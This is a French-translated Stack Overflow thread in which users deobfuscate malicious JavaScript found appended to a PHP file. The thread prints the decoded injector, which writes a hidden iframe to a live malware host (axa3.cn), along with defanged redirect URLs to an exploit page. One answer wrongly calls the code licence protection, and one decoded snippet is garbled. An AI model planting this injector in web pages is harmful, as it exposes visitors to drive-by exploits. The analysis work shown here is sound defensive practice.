Question

J'ai du code qui se trouvait au bas d'un fichier php en javascript. Il subit de nombreuses contorsions étranges telles que la conversion de hex en ascii, puis le remplacement de regex, l'exécution de code, etc.

Y a-t-il un moyen de savoir ce qu'il est en train d'exécuter avant de le faire?

Le code est ici:

http://pastebin.ca/1303597

Était-ce utile?

La solution

Vous pouvez simplement le parcourir étape par étape - puisqu'il s'agit de Javascript et qu'il est interprété, il doit s'agir de son propre décrypteur. Si vous avez accès à un interpréteur Javascript en ligne de commande (tel que la console dans Firebug ), ce sera assez simple.

Je vais jeter un coup d'œil et voir ce qui se passe.

Éditer J'en ai presque terminé - il me semble que l'étape finale n'est pas anodine, probablement parce qu'elle implique "argument". Quoi qu'il en soit, j'ai mis ce que j'ai jusqu'à présent sur Pastebin.

Curieusement, j’ai trouvé que le plus difficile était de donner des noms propres aux variables de charabia. Cela m'a rappelé un mot croisé, ou sudoku, dans lequel vous savez comment les choses se rapportent, mais vous ne pouvez pas attribuer de manière définitive quelque chose tant que vous n’avez pas déterminé quelles en sont les parties dépendantes. :-) Je suis sûr que si quelqu'un reconnaît l'algorithme, il peut donner aux parties des noms plus significatifs, mais au niveau où il y a beaucoup de XORing, il y a deux variables temporaires que je viens de laisser comme noms par défaut puisque je ne connais pas suffisamment le contexte pour leur donner des informations utiles.

Edition finale : Le bit 'arguments.callee' est devenu facile lorsque j'ai réalisé que je pouvais simplement passer le texte brut que je décodais ironiquement (c'est une technique assez intelligente, de sorte que la désobfuscation normale ne fonctionnera pas car bien sûr, une fois que vous avez renommé les variables, etc., la valeur est différente). Quoi qu'il en soit, voici votre script complet:


    function EvilInstaller(){};
    EvilInstaller.prototype = {
        getFrameURL : function() {
            var dlh=document.location.host;
            return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.host + this.path;
        },
        path:'/elanguage.cn/',
        cookieValue:1,
        setCookie : function(name, value) {
            var d= new Date();
            d.setTime(new Date().getTime() + 86400000);
            document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
        },
        install : function() {
            if (!this.alreadyInstalled()) {
                var s = "<div style='display:none'><iframe src='" + this.getFrameURL() + "'></iframe></div>"
                try {
                    document.open();
                    document.write(s);
                    document.close();
                }
                catch(e) {
                    document.write("<html><body>" + s + "</body></html>")
                }
                this.setCookie(this.cookieName, this.cookieValue);
            }
        },
        getRandString : function() {
            var l=16,c='0Z1&2Q3Z4*5&6Z7Q8*9)a*b*cQdZeQf*'.replace(/[ZQ&\*\)]/g, '');
            var o='';
            for (var i=0;i<l;i++) {
                o+=c.substr(Math.floor(Math.random()*c.length),1,1);
            }
            return o;
        },
        cookieName:'hedcfagb',
        host:'axa3.cn',
        alreadyInstalled : function() {
            return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
        }
    };
    var evil=new EvilInstaller();
    evil.install();

En gros, il semble que cela charge des logiciels malveillants à partir de axa3.cn. Cependant, le site est déjà suspecté par le FAI, il est donc inutile de dire ce qui se trouvait réellement au-delà de la méchanceté générale.

(Si vous êtes intéressé, j'utilisais Pastebin comme pseudo-VCS pour les versions changeantes du code, afin que vous puissiez voir une autre étape intermédiaire , un peu après ma première modification, était assez intriguant de voir les différentes couches d’obscurcissement et leur modification.)

Autres conseils

Bien que vous puissiez décoder manuellement, cela peut vite devenir fastidieux lorsque vous avez plusieurs étapes de décodage. Je remplace habituellement eval / write pour voir chaque étape:

<script>
    window.__eval= window.eval;
    window.eval= function(s) { if (confirm('OK to eval? '+s)) return this.__eval(s); }
    document.__write= document.write;
    document.write= function(s) { if (confirm('OK to write? '+s)) return this.__write(s); }
</script>

Cependant, ce script particulier est protégé contre cela par une inspection délibérée de window.eval. L'utilisation de arguments.callee signifie également que le script s'appuie sur le format Function.toString d'un navigateur donné, dans le cas présent de l'IE, il ne fonctionnera pas sur les autres navigateurs. Vous pouvez utiliser des solutions de contournement dans la fonction eval de remplacement pour donner au script ce à quoi il s'attend dans ce cas, mais cela reste un peu pénible.

Vous pouvez utiliser le script débogueur pour parcourir le code. Dans ce cas, j'ai autorisé le code à s'exécuter sur une machine virtuelle ne disposant d'aucun réseau que je pouvais me permettre d'écraser. En regardant document.body.innerHTML après l'exécution du code, j'ai trouvé qu'il ajoutait un iframe invisible pointé sur:

hxxp://62bc13b764ad2799.bbe4e7d3df5fdea8.axa3.cn/elanguage.cn/

qui redirige vers:

hxxp://google.com.upload.main.update.originalcn.cn/ebay.cn/index.php

qui, visualisé dans des conditions appropriées dans IE, vous donne une charge d’exploits. Ne accédez pas à ces URL .

En bref, votre serveur a été piraté par axa3.cn, l’un des nombreux gangs de malwares hébergés par des Chinois mais contrôlés par des Russes.

Vous écrivez juste un script Perl ou quelque chose qui change tous les caractères hexadécimaux échappés en ascii? Ensuite, il suffit de regarder à travers les expressions rationnelles pour voir ce qui se passe exactement, et faites la même chose avec votre script perl / n’importe quel script.

Vous pouvez essayer la console Firebug et la décomposer au cas par cas. Pour commencer:

var jQuery = eval('w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, ''));

ne fait que masquer le " eval " fonctionner comme "jQuery"

L’approche la plus simple consisterait trop simplement à utiliser un simple programme c pour convertir les caractères hexadécimaux masqués en texte lisible comme suit:

#include <stdio.h>

const char wtf[] = ""; // Really long string goes here

int main(void) {
    ::printf("%s\n", wtf);
}

qui donne ce (j'ai ajouté le formatage). Je vous laisse terminer la dernière partie qui semble être plus ou moins identique.

très soigneusement - si quelqu'un se donne beaucoup de mal pour dissimuler le code, c'est probablement une sorte de script d'attaque

vous pouvez afficher les résultats de l'exécution par étapes à l'aide d'un fichier HTML local et le traiter pièce par pièce

faisant cela je reçois:

var jQuery = "eval(" + 
    'w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, '') + 
    ");";
document.writeln('jQuery=' + jQuery);

qui donne

jQuery=eval(window.eval);

qui, comme observé crescentfresh, lie la variable jQuery à la fonction window.eval.

la section suivante essaye évidemment d'évaluer quelque chose en code hexadécimal, voyons donc à quoi ressemble la chaîne de code hexadécimal (reformatée manuellement à des fins de présentation):

    function g4LZ(s9QNvAL)
    {
        function eDdqkXm(fX09)
        {
            var uaWG=0;
            var jtoS=fX09.length;
            var aCD6=0;
            while(aCD6wQ5.length)
                d971I=0;
            if(f234SD>lIXy6md.length)
                f234SD=0;
            kyCyJ+=String.fromCharCode(nCV2eO^ocx) + '';
        }
        eval(kyCyJ);
        return kyCyJ=new String();
    }
    catch(e){}
}
g4LZ('%33...%5e');

et maintenant nous avons une chaîne échappée à la fin, voyons ce qu'il y a dedans en utilisant unescape (tronqué pour la présentation):

30248118GA0 * l: WRG: nt9 * 82:) 7Z \ uF% * {...

franchement, je m'ennuie de le démonter, je l'ai donc transféré dans un fichier html local, déconnecté d'Internet, ouvert firefox, javascript désactivé, chargé le fichier dans firefox, allumé firebug, rechargé la page afin il serait exécuté et inspecté le DOM.

le script crée un IFRAME avec SRC défini sur [modifié pour des raisons de sécurité!]:

http://4b3b9e839fd84e47 [DO NOT CLICK THIS URL] .27f721b7f6c92d76.axa3.cn/elanguage.cn/

axa3.cn est un domaine chinois de la liste noire des logiciels malveillants

Je sais que ce n'est pas la réponse, mais généralement (là où j'ai vu ce genre de choses), ils sont placés, donc si cette ligne n'est pas exécutée, tout le script s'arrête. Pourquoi font-ils ça? Bien, ils impriment leurs droits d'auteur sur le script (ou plus généralement sur un modèle).

Lorsque les gens se donnent beaucoup de mal à vous reconnaître, c’est parce qu’ils ont une licence de suppression de droits d’auteur, je vous recommande de payer pour cela, car même si vous effectuez un "reverse engineering". cela, ils peuvent (et ont) d'autres moyens de vérifier si votre licence est vraie. (Certains de ces logiciels enverront en fait une sorte de message si vous le faites).

Mais, avant d’obtenir une flamme quelconque, je conviens qu’il est intéressant de retourner dans ce type de titres et d’obtenir le code original et le casser =)

Licencié sous: CC-BY-SA avec attribution
Non affilié à StackOverflow
scroll top